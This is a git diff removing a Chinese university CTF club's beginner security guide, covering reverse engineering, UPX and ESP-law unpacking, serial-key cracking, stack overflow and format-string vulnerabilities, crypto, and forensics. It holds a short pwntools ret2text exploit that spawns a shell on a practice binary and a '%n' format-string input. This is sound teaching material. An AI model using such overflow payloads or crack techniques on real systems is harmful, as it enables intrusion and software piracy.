-#### 分析历程 - -##### 将程序拖入 IDA - -![](https://cdn.xyxsw.site/image-20220809173439491.png) - -![](https://cdn.xyxsw.site/image-20220809173548998.png) - -##### F5 分析查看伪代码 - -![](https://cdn.xyxsw.site/image-20220809173627488.png) - -发现有`change`和`check`的自定义函数 - -按`n`修改一下变量名 - -![](https://cdn.xyxsw.site/image-20220809174001600.png) - -![](https://cdn.xyxsw.site/image-20220809174015603.png) - -分别进入里面查看函数逻辑 - -##### 查看函数逻辑 - -change 函数 - -![](https://cdn.xyxsw.site/image-20220809174035800.png) - -check 函数 - -![](https://cdn.xyxsw.site/image-20220809174058831.png) - -###### 静态分析逻辑 - -change 函数是对输入字符串的每一个字节进行修改 - -然后在 check 函数进行比较 - -###### 动态分析逻辑 - -在 change 函数进入前下好断点 - -随意的进行一些输入 - -![](https://cdn.xyxsw.site/image-20220809174913326.png) - -然后断下来 - -![](https://cdn.xyxsw.site/image-20220809174957987.png) - -F7 进入函数进行单步不跳过调试 - -![](https://cdn.xyxsw.site/image-20220809175413448.png) - -遇到类似`strlen`等库函数可以 F8 单步调试跳过 - -![](https://cdn.xyxsw.site/image-20220809175459668.png) - -可以发现输入字符串的每一个字节的 Ascii 值都减小了 1 - -##### 脚本编写 - -试试写一个脚本解出这道题吧! diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md deleted file mode 100644 index 95c3fb7..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md +++ /dev/null @@ -1,60 +0,0 @@ -# 软件破解、软件加固 - -## 软件加壳、脱壳技术 - -壳是一种常见的软件保护技术,通过对前面基础工具的使用,我们很容易发现正常编译出来的程序逆向的难度并不高,只需按 IDA 的 F5 即可浏览程序的大部分逻辑。但加壳后的软件,会将主要逻辑 以一定的规律加密/压缩等,使其不可直接 F5 查看逻辑。 - -按壳的效果来分,主要分压缩壳和加密壳两种。压缩壳如 UPX,可以将程序体积较大的缩小。加密壳如 VMP,可以对程序起到非常大的防逆向作用,以目前的技术,对 VMP 加壳的程序几乎没有逆向的可能。 - -### 简单的 UPX 壳 - -UPX 是一个常见的压缩壳,通过该工具可以比较大的缩小二进制程序的体积,而不影响正常功能 - -UPX 壳的官网:[https://upx.github.io](https://upx.github.io) - -加壳命令(示例): - -```c -upx -1 文件名 -``` - -脱壳命令: - -```c -upx -d 文件名 -``` - -### ESP 定律脱壳法(本节来源于 ctf-wiki:[https://ctf-wiki.org/reverse/platform/windows/unpack/esp/](https://ctf-wiki.org/reverse/platform/windows/unpack/esp/)) - -ESP 定律法是脱壳的利器,是应用频率最高的脱壳方法之一。 - -#### 要点 - -ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP. - -由于在程序自解密或者自解压过程中,不少壳会先将当前寄存器状态压栈,如使用 `pushad`, 在解压结束后,会将之前的寄存器值出栈,如使用 `popad`. 因此在寄存器出栈时,往往程序代码被恢复,此时硬件断点触发。然后在程序当前位置,只需要少许单步操作,就很容易到达正确的 OEP 位置。 - -1. 程序刚载入开始 pushad/pushfd -2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点 -3. 运行程序,触发断点 -4. 删除硬件断点开始分析 - -#### 示例 - -示例程序可以点击此处下载:[2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/2_esp.zip) - -还是上一篇的示例,入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态,我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色,也即值发生了改变。 - -![](https://cdn.xyxsw.site/boxcnJdWqlHmhlvB471dIGT4GEh.png) - -我们鼠标右击 `ESP` 寄存器的值,也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后,按下 `F9` 运行程序,程序会在触发断点时断下。如图来到了 `0040D3B0` 的位置。这里就是上一篇我们单步跟踪时到达的位置,剩余的就不再赘述。 - -## 软件加密常用算法 - -逆向中通常出现的加密算法包括 base64、TEA、AES、RC4、MD5、DES 等。 - -## 序列号生成与破解与反破解 - -早期软件序列号都是软件内部一套验证算法,本地进行验证序列号是否正确,或者本地校验格式再向服务器请求。这种软件的序列号破解只需找到内部验证算法,生成出一个合适的序列号即可,联网的软件就将联网屏蔽/做个假的服务器返回正确的信息等办法。如何找到验证算法是关键,此处就需要一定的逆向基础。现有的 CTF 逆向题基本都是从序列号破解的角度抽象出来的。 - -如今的很多软件都已不再采用序列号机制,比如 steam 游戏,或者序列号的生成是单向不可逆的,此时就对软件的破解造成了一定的困难 diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md deleted file mode 100644 index 1c1b834..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md +++ /dev/null @@ -1,219 +0,0 @@ -# 漏洞挖掘、漏洞利用 - -## 常见二进制安全漏洞 - -### 栈溢出 - -#### 栈介绍 - -栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 - -![](https://cdn.xyxsw.site/stack.png) - -高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 - -#### 栈溢出基本原理 - -以最基本的 C 语言为例,C 语言的函数局部变量就保存在栈中。 - -```c -#include -int main() -{ - char ch[8]={0}; - char ch2[8]={0}; - printf("ch: %p, ch2: %p",ch,ch2); -} -``` - -对于如上程序,运行后可以发现`ch`和`a`的地址相差不大 (`a`和`ch`的顺序不一定固定为`a`在前`ch`在后): - -![](https://cdn.xyxsw.site/out1.PNG) - -可以发现`ch`和`ch2`刚好差`8`个字节,也就是`ch`的长度。 -`ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。 - -```c -#include -int main() -{ - char ch[8]={0}; - char ch2[8]={0}; - scanf("%s",ch); - printf("ch: %s, ch2: %s",ch,ch2); -} -``` - -![](https://cdn.xyxsw.site/out2.PNG) - -这就是栈溢出的基本原理。 - -#### 栈溢出的基本利用 - -##### 0x0 - -对于以上程序,“栈溢出”带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误: - -```c -#include -int main() -{ - char input[20]; - char password[]="vidar-team"; - scanf("%s",input); - if(!strcmp(password,input)) - { - printf("login success!"); - } - else - { - printf("password is wrong!"); - } - return 0; -} -``` - -如上代码所示,如果我们想办法通过向 input 中输入过长的字符串覆盖掉 password 的内容,我们就可以实现任意 password“登录”。 - -那么能不能有一些更劲爆的手段呢? - -> 以下内容涉及 x86 汇编语言知识 - -在 C 语言编译之后,通常会产生汇编语言,汇编语言的字节码可以直接在物理 CPU 上运行。而 C 语言函数调用会被编译为如下形式: - -```c -#include -int add(int a,int b) -{ - return a+b; -} -int main() -{ - int a,b; - scanf("%d %d",&a,&b); - printf("%d",add(a,b)); - return 0; -} -``` - -```asm -add: -endbr64 -push rbp -mov rbp, rsp -mov [rbp+var_4], edi -mov [rbp+var_8], esi -mov edx, [rbp+var_4] -mov eax, [rbp+var_8] -add eax, edx -pop rbp -retn - -main: -endbr64 -push rbp -mov rbp, rsp -sub rsp, 10h -mov rax, fs:28h -mov [rbp+var_8], rax -xor eax, eax -lea rdx, [rbp+var_C] -lea rax, [rbp+var_10] -mov rsi, rax -lea rax, format ; "%d %d" -mov rdi, rax ; format -mov eax, 0 -call _scanf -mov edx, [rbp+var_C] -mov eax, [rbp+var_10] -mov esi, edx -mov edi, eax -call add -mov esi, eax -lea rax, aD ; "%d" -mov rdi, rax ; format -mov eax, 0 -call _printf -mov eax, 0 -leave -retn -``` - -可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数: - -![](https://cdn.xyxsw.site/stack2.png) - -> 注意该图中,使用 32 位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址 - -在此给出一道题作为例子:[ret2tetx](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text) - -32 位的程序,我们使用 IDA 来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出: - -![](https://cdn.xyxsw.site/main.png) - -由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。 - -由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。 -首先查看后门的地址: - -![](https://cdn.xyxsw.site/backdoor.png) - -接着计算溢出长度,这里我们使用 gdb 来调试程序,图中的 gdb 安装了 pwndbg 插件,该插件在 pwn 调试时比较好用: - -![](https://cdn.xyxsw.site/gdb.png) - -将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80`,`ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处: - -![](https://cdn.xyxsw.site/s.png) - -```python -from pwn import * -sh=process("./pwn") -exp=b'a'*(0x6c+4) -exp+=p32(0x0804863A) # 4 字节的返回地址 -sh.sendline(exp) -sh.interactive() # 切换为手动交互模式 -``` - -![](https://cdn.xyxsw.site/shell.png) - -##### 0x1 - -通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以 retn 结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合 Linux 下的系统调用,我们就可以执行需要的任意代码。 - -ROP 网上已有非常系统的资料,在这里不做过多的叙述,可参考 ctf-wiki: [ret2shellcode](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode) - -### 格式化字符串 - -格式化字符串的利用思路来源于`printf`函数中的`%n`format 标签,该标签的作用和`%s`、`%d`等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题: - -```c -printf("abcd%n",&num); -//输出abcd,并且num的值为4 -``` - -但如果在编写代码时忘记 format 字符串: - -```c -printf(something_want_print); -``` - -此时若攻击者可以自定义该字符串,就可以使用`%d`、`%p`、`%s`等打印栈上数据,或者`%n`来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。 - -```c -char ch[20]; -scanf("%s",ch);// 输入 %d%n%n%n%n%n -printf(ch); -``` - -## 漏洞挖掘技术 - -### 代码审计 - -代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目 [Kunlun-M](https://github.com/LoRexxar/Kunlun-M) - -以及字节跳动公司开源的 [appshark](https://github.com/bytedance/appshark) - -### fuzz - -fuzz 是一种自动化测试手段,通过一定的算法生成一定规律的随机的数据输入到程序中,如果程序发生崩溃等异常,即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。 diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md deleted file mode 100644 index 3309fbe..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md +++ /dev/null @@ -1,54 +0,0 @@ -# 二进制安全 - -## 简介 - -二进制安全在 CTF 中常分为 pwn 和 reverse 两大方向。 - -pwn 主要研究漏洞的挖掘及其利用的手段,并利用漏洞攻击目标取得目标机器的权限。 - -reverse 主要研究软件破解,软件加固,计算机病毒等。 - -现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。 - -## 入门材料 - -> HGAME Mini 2022 Reverse Pwn 入门材料 -> -> Reverse:[逆向入门指南](https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649) -> -> Pwn:[PWN 入门指北](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf) - -## 学习二进制安全需要具备哪些基础? - -- 扎实的 C 语言基础,目前现有的各种二进制分析工具通常都会把汇编代码重新反编译为 C 语言程序。 -- 适当的软件开发经验,安全的基础是开发。 -- 扎实的汇编语言基础,如果你了解过编译的过程,就会知道现在的编译型语言,如 C,C++,go,rust 等,他们的编译产物通常都是对应架构的二进制程序,而二进制程序是可以直接反汇编成汇编代码的,换句话说,理论上能看懂汇编,就能看懂一切计算机程序。 - -## 为了打好基础,我应该怎么学? - -::: tip 📥 -《C Primer Plus》(第六版中文版)(216MB)附件下载 -::: - -- C 语言推荐阅读《C Primer Plus》,C 语言领域的圣经。二进制对 C 语言的最低要求:熟练地使用链表完成约瑟夫环问题。 -- x86 汇编语言推荐阅读王爽的《汇编语言》,在本文编辑时已经出到了第四版。x86 是目前最常用的 CPU 架构之一,目前基本上所有的电脑,服务器都采用的 x86 架构。因此在初期的二进制学习中,学习 x86 汇编语言是没有什么问题的。x86 汇编语言历史比较悠久,从 Intel 公司的第一代处理器 8086 采用的 16 位 x86 汇编语言开始,已经逐步发展到现在的 32 位/64 位。王爽的《汇编语言》讲的就是 16 位 x86 汇编语言。可能有人会问,现在学 16 位汇编语言还有什么用吗?其实 x86 的基础命令,对汇编语言来说只是寄存器的命名有所不同,寄存器的宽度也由 16 位升到 32 位再到 64 位而已。比如在 16 位汇编中,加法命令是 `add ax,bx`(意思是 ax=ax+bx,ax 和 bx 都是 16bit 的寄存器),而到了 32 位汇编中是 `add eax,ebx`,64 位汇编中是 `add rax,rbx`。虽然这些语句翻译成字节码是有区别的,但对于汇编语言来说差别并不大,因此由 16 位汇编入门,简单易上手,后面扩展到 32/64 位也很容易,是非常合适的。 -- Python 的基本语法,Python 之所以没有作为“基础”,是因为在二进制安全中,Python 由于其简单,开发周期短的特性,往往充当一个锦上添花的工具的角色,比如在做逆向工程领域的研究时,使用 Python 来编写一些加解密脚本要比使用 C 语言快速。感受一下: - -```c -#include -#include -int main() -{ - char ch[]="hello world"; - for(int i=0;i 本文来自 HGAME Mini 2022 Crypto 入门材料。 - -密码学分为密码编码学和密码分析学,前者寻求**提供信息机密性、完整性和非否认性等的方法**,后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF 比赛中的密码学题目偏向于密码分析。 - -## 如何学习密码学 - -### 数学基础 - -数论,线性代数,抽象代数 - -当你有了这些基础之后才能更熟练的使用一些数学工具。 - -学习这些基础的东西最好的方法就是看书(群文件里都有哦~),如果是英文的话尽量看原著,这对后面看论文帮助很大。 - -### 编程基础 - -你可能需要了解一些 python 的基础语法。还有一些简单的算法。 - -### 一些基础的密码系统 - -古典密码: - -- 凯撒密码 -- 维吉尼亚密码 -- 栅栏密码 -- 希尔密码 -- 培根加密 -- 摩斯电码 -- 等 - -现代密码: - -- RSA(非常经典) -- AES -- DES -- ECC -- 等 - -还有近几年多起来的格密码 - -主要看一些书籍,或者在 ctf-wiki.org 学习。学习的过程中尽可能的多写一些 demo,既锻炼了编程能力也可以更好的了解一些密码系统。 - -有能力的同学可以先看一下这位教授的关于密码学的课程 [https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg](https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg) - -## 工具 - -一些 python 的库: - -- pycryptodome(就是 Crypto 库) - -[https://pycryptodome.readthedocs.io/en/latest/](https://pycryptodome.readthedocs.io/en/latest/) - -- gmpy2(数论) -- sympy - -sagemath(一个功能极其强大的集成工具) - -## 刷题平台 - -[https://cryptohack.org/](https://cryptohack.org/) (推荐) - -buuoj - -bugku(比较入门的题) - -ctfhub - -## 写在最后的话 - -密码学可能刚入门起来感觉非常难受(可能不包括古典密码),但事实是不管那个方向或者说任何的一门学科的学习过程都是这样的(怪胎除外)。因为现在大家基本上都是兴趣驱动的,所以希望大家永远保持对新知识的好奇心,这样就不会感觉说这是一个任务一样的东西。其实密码学还是很有意思的。 - -`synt{pelcg0_1f_r4fl_g0_fg4eg!!}` diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md deleted file mode 100644 index 70cc394..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md +++ /dev/null @@ -1,141 +0,0 @@ -# MISC 入门指南 - -> 本文来自 HGAME Mini 2022 Misc 入门材料 - -## MISC 简单介绍 - -Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它是一个庞大而又有趣的分支,几乎会涉及所有分类的基础,包括内容安全、安全运维、网络编程、AI 安全等不属于传统分类的知识,作为发散思维、拓展自己的一个知识面而言也是挺不错的方向。 - -**MISC 大概有这些方面内容**: - -- 信息收集 -- 编码转换 -- 隐写分析 -- 数字取证 -- ...... - -![img](https://ctf-wiki.org/misc/figure/all.png) - -## 简单分块介绍 - -### 信息收集 - -#### 基本搜集技巧 - -简单一句话:多问搜索引擎,搜就完事了! - -- 目标 Web 网页、地理位置、相关组织 -- Google 基本搜索与挖掘技巧(Google hacking) -- 网站、域名、IP:whois 等 -- 通过搜索引擎查找特定安全漏洞或私密信息 -- 组织结构和人员、个人资料、电话、电子邮件 -- 企业等实体:YellowPage、企业信用信息网 -- 国内:百度地图、卫星地图、街景 - -### 编码转换 - -- 各种古典密码 - - 摩斯电码 - - 凯撒密码 - - 栅栏密码 - - ROT13 - - 维吉尼亚密码 - -- 计算机常用编码 - - Ascii - - Unicode - - HTML 实体编码 -- 其他编码 - - 二维码 - - 条形码 - - Js加密/Jother/JSFuck - - URL 编码 - - Hex 编码 - - Base 大家族 - - MD5、SHA1 等类似加密型 - - 与佛论禅 - - 兽音译者 - - ... - -### 隐写 - -- 图片隐写 - - jpg 隐写 - - Steghide - - Stegdetect - - Slienteye - - Jhps - - png 隐写 - - Stepsolve - - Stepic - - gif 隐写 - - 时间 - - 空间 - - bmp 隐写 - - LSB -- 音频隐写 - - 频谱 - - 波形 - - LSB - - Tools - - Wav - - Steganography - - steghide - - - Mp3 - - Mp3stego - -- 视频隐写 - - MSU Stego - - TCStego - -- 文档隐写 - - Word - - PDF -- 流量包 - - 协议 - - 传输 - -- 交换数据流 - - NTFS - -- Vmdk - - dsfok-tools - -### 取证 - -- 图片取证 - - Jpg - - stegdetect - - Png - - Pngcheck - - Tweakpng -- 音频取证 - - Audacity -- 视频取证 - - FFmpeg -- 流量包取证 - - Wireshark - - Tshark - - Pacpfix -- 内存取证 - - Vol -- 磁盘文件取证 - - Ftx -- 文档取证 - - Pdf - - Pdf-parser - - Pdf-crack - - Word -- 压缩包 - - Zip - - Fcrackzip - - Apchpr - - Pkcrack - - Rar - - Rarcrack -- 固件分析 - - binwalk - - sleuthkit - -`VIDAR{Misc_1s_e4sy_t0_st4rt!!}` diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md deleted file mode 100644 index 0d76360..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md +++ /dev/null @@ -1,46 +0,0 @@ -# 学习资料推荐 - -> 计算机基础是非常重要的,协会一直推荐打好基础,勿在浮沙筑高台。 -> -> 以下是一些 CTF 领域写的不错的入门文章和平台,也可以根据文章内容进行学习~ - -## 学习网站: - -学习其实最高效的可能还是通过打比赛,实操,看大牛博客来学习。但是感觉对于新人而言打好基础和入门是最重要的,很多时候入门了,发现感兴趣了,一切就顺利起来了。因此以下就先放一些容易使人入门的网站。 - -- [Hello CTF](https://hello-ctf.com/) -- [简介 - CTF Wiki (ctf-wiki.org)](https://ctf-wiki.org/) -- [CTFHub](https://www.ctfhub.com/#/index) - -## 靶场推荐: - -- [主页 | NSSCTF](https://www.nssctf.cn/index) -- [BUUCTF 在线评测 (buuoj.cn)](https://buuoj.cn/) -- [攻防世界 (xctf.org.cn)](https://adworld.xctf.org.cn) -- [Hack The Box: Hacking Training For The Best | Individuals & Companies](https://www.hackthebox.com/) -- [CryptoHack – A fun, free platform for learning cryptography](https://cryptohack.org/) - -## 博客推荐: - -> 由于很多师傅都会在自己的博客发布自己的研究成果,所以这里有一些推荐阅读的博客~ - -综合类博客: - -> 主题比较宽泛,大多是计算机技术相关 - -- -- -- -- - -安全类博客: - -> 主要是一些安全研究成果或者 CTF 竞赛题解,主要都是安全相关内容 - -- -- -- -- -- -- -- diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md deleted file mode 100644 index 24d3e0a..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md +++ /dev/null @@ -1,74 +0,0 @@ -# 6.计算机安全 - -> 本模块由 [Vidar-Team](https://vidar.club) 信息安全协会成员倾情奉献。 -> -> Vidar-Team 成立于 2008 年 9 月,其名 Vidar 来源于北欧神话"诸神黄昏"中幸存于难、带领人类重建了家园的神 Víðarr,是由杭州电子科技大学一群热爱信息安全的小伙伴自发成立的技术型团体,作为高校战队活跃于各大 ctf 赛事。 -> -> 2023 招新 QQ 群:861507440(仅向校内开放),欢迎对技术感兴趣的小伙伴加入我们! - -**招新方向汇总:** - -- Web(网络安全) - - 渗透(模拟黑客攻击,找寻漏洞,修补、加固系统) - - 开发(网络的搭建和维护,网站开发) - - 运维(各类服务器的运行维护,路由佬) -- Bin(二进制安全) - - Pwn(关注软硬件的底层,对操作系统与应用程序本身进行攻击,如大名鼎鼎的永恒之蓝) - - Re(逆向工程,研究领域包括游戏安全、病毒分析、软件加密/解密、自动化程序分析及测试等) -- 综合 - - Misc 杂项(流量分析,电子取证,大数据统计等,覆盖面比较广) - - Crypto 密码学(与加密系统相关,从已加密的信息中破译明文) - - 无线安全(RFID,无线遥控,ADS-B,BLE,ZigBee,移动通信,卫星通信) - - Iot 安全 (从软件和硬件出发,多方向探索物联网设备) - - 人工智能安全 (使用人工智能技术赋能安全,模型本身安全问题) - - 美工(负责协会相关的设计,如比赛海报与 LOGO,会服、钥匙扣等等各类周边的制作) - - 计算机图形学(游戏开发,游戏引擎开发) - -**Vidar-Team 是技术类兴趣社团,为技术而生而不是为 CTF 而生**。 - -## 什么是安全 - -计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全(Web)和二进制安全(Bin,包含 Pwn 和 Reverse)两大类。现有的 CTF 信息安全竞赛里面还会看到密码学(Crypto)和安全杂项(Misc),以及最近几年新兴的 IoT 安全,人工智能安全等方向。本系列文章会按照 CTF 的 5 个方向,Web、Pwn、Reverse、Crypto、Misc 来进行介绍。目前引入了 HGAME Mini2022 我们编写给新生的入门材料,在今年的 10 月份和寒假,我们也会分别举办 HGAME Mini 和 HGAME 这两场 CTF,来帮助新生更好的入门安全。 - -## CTF 竞赛形式 - -### 解题赛 - -你需要做的事情很简单,利用你的安全知识去找出 flag。 - -flag 可能是被加密的,你得想办法破解它; - -可能放在对方服务器上,你得把服务器打下来; - -甚至可能是出题人设计了一个不可能完成的小游戏,你得写外挂通关他... - -虽然要做的事情是一样的,题目是千变万化的,做题手段是不受限制的。所幸的是大家并不是孤军奋战,一个人一般只需要负责一个方向即可。 - -### 攻防赛 - -又叫 AWD,是攻防结合的形式,在攻击其他选手的服务器的同时,你需要找出自己的服务器上的漏洞并在其他选手发现之前修复它。 - -比起解题赛或许做不出题很坐牢,AWD 非常的紧张刺激。 - -### 适合我吗 - -首先 CTF 适合绝大多数具有自主学习能力并对其感兴趣的人,他并不挑基础,大部分人都是在大学阶段起步的,不像 ACM,没有 OI 基础在杭电 ACM 真的相当难混。 - -#### 劝学 - -- 如果你曾经梦想过成为一名黑客,穿梭于网络世界,揭露隐藏的秘密,那么现在就是实现梦想的时候。 -- 如果你想追求最为纯粹的最为极致的计算机技术,不想被平庸的条条框框所束缚,那么是时候挣脱他们了,在这里不限手段不限方向。 -- 如果你对于普通的软件开发感到厌倦或者不满足,那么现在就是做出转变的时候。 -- 如果你是一个苦于常常无人可以交流的社恐技术宅,那么你能收获最单纯最诚挚的伙伴。 -- 如果你对计算机一无所知,只是觉得计算机不错选了计算机专业,那么作为门槛最低的竞赛之一,其自然可以成为你的选择。 -- 如果你单纯想捞钱,网络安全拥有着高于计算机平均的薪资。 - -#### 劝退 - -- 不知道为什么学计算机,不想学计算机,学不下去,不建议。 -- CTF 虽然门槛低,但是学习强度非常高,学习范围非常广,就比如说,经过一年半的学习,成熟的 CTF Web 选手一般能够审计任意主流编程语言的代码,并选择一种深入挖掘。 -- CTF 竞赛强度非常高,一周甚至可能会出现需要同时打 2-3 个竞赛的情况(参加多了结算奖学金的时候就很有意思),坚持不下来的不建议。 -- CTF 非常非常重实践,没有实际复现一个漏洞而纯理论学习和比赛当场学没本质区别。 -- CTF 对自主学习能力要求很高,一是因为确实玩法多,二是由于 CTF 是允许上网查找资料的(一般也必须允许),所以经常会出现比赛过程中当场极速学习的事情。 - -总结:强度高,回报高,有且只有对技术有持续热情的人才能坚持下来。 diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png deleted file mode 100644 index 5ef4558..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png deleted file mode 100644 index 748aa83..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png deleted file mode 100644 index 1a1b261..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png deleted file mode 100644 index dd155b9..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png deleted file mode 100644 index 2a69bc9..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png deleted file mode 100644 index 3381fd0..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png deleted file mode 100644 index 61b6e32..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png deleted file mode 100644 index 37c9440..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png and /dev/null differ diff --git 